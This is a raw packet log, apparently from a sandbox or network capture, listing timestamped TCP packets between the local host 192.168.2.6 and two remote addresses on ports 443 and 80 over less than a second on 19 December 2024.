Dec 19, 2024 16:10:28.643413067 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.643424988 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.646295071 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.651946068 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.651978970 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.652004957 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.652005911 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.652018070 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.652040958 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.698081017 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.729226112 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.763673067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.763729095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.763787031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.763861895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.764103889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.764142990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.764312983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.764355898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.765041113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.765079975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.765162945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.765202045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.766230106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.766272068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.766977072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.767019987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.767047882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.767220974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.767261028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.767415047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.767462015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.768245935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.768289089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.768343925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.768383980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.769305944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.769347906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.769526005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.769568920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.770590067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.770636082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.770709038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.770755053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.771413088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.771481037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.771496058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.771624088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.772288084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.772330046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.772454023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.772494078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.773130894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.773171902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.773185968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.773241043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.774090052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.774147987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.774197102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.774238110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.775084972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.775131941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.775161028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.775198936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.776015997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.776062965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.776062965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.776113033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.776320934 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.776997089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.777045965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.777090073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.777137041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.777995110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.778072119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.778203011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.778254032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.778959036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.779079914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.779109001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.779149055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.779922962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.779972076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.780049086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.780100107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.780939102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.780980110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.781003952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.781048059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.781898022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.781961918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.781968117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.781996965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.782897949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.782953024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.783013105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.783055067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.783878088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.783926964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.783971071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.784135103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.784876108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.784923077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.785166025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.785213947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.785845041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.785969973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.785999060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.786055088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.786809921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.786922932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.786967039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.787859917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.788043022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.788100958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.788784027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.788834095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.788847923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.789658070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.789794922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.789843082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.789866924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.789912939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.790745974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.790792942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.790874004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.790927887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.791788101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.791851997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.791861057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.791902065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.792700052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.792743921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.792804956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.792889118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.793708086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.793776989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.793792963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.793842077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.794658899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.794786930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.794821024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.794862032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.795648098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.795667887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.795712948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.795726061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.796775103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.796825886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.796998978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.797085047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.797636986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.797688007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.797911882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.797954082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.798597097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.798640013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.798676968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.798726082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.799550056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.799599886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.799634933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.799748898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.800550938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.800591946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.800661087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.800699949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.801569939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.801615000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.801621914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.801656961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.801851988 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.802630901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.802678108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.802736044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.802875042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.803528070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.803631067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.803713083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.803751945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.804440022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.804487944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.804577112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.804615021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.805437088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.805490971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.805617094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.805658102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.806401014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.806462049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.806507111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.806843042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.807059050 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.807274103 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.807291985 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.807459116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.807507038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.807558060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.807610989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.808366060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.808470964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.808542013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.808584929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.809357882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.809475899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.809523106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.810439110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.810477972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.810549021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.810597897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.811353922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.811405897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.811434984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.811471939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.811712027 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.812057018 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.812067986 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.812369108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.812433004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.812517881 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.812560081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.813438892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.813492060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.813508034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.813561916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.817632914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.817964077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.817970991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.817976952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.818006992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.818037987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.819561005 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.819708109 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.819715977 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.836035013 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.836117029 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.836123943 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.842345953 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.842425108 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.842442036 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.842447996 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.842534065 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.851409912 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.854110003 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.854123116 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.854142904 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.854149103 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.854176044 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.854204893 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.854222059 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.854243994 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.854311943 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.859170914 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.859240055 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.859246016 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.865412951 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.865473986 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.865480900 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.875000954 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.875122070 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.875137091 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.878876925 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.878933907 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.878940105 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.883562088 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.883641958 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.883655071 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.933073997 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.933094978 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:28.980825901 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:28.987157106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.987214088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.987278938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.987322092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.987708092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.987905979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.988265038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.988329887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.988373041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.988490105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.989129066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.989290953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.989339113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.989706039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.989885092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.989902020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.990020037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.990525007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.990571976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.990825891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.990869999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.990900040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.990942955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.991827011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.991869926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.992079020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.992124081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.992819071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.992866993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.992965937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.993010998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.993792057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.994003057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.994007111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.994060040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.994782925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.994824886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.994903088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.995115042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.995735884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.995781898 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.995850086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.995889902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.996700048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.996750116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.997446060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.997494936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.997695923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.997734070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.998095036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.998148918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.998687983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.998801947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.999176979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.999228001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.999639034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:28.999686003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:28.999815941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.000000000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.000600100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.000654936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.001585960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.001631021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.001655102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.001667976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.001696110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.001708031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.002624989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.002669096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.002769947 CET	80	49881	31.41.244.11	192.168.2.6
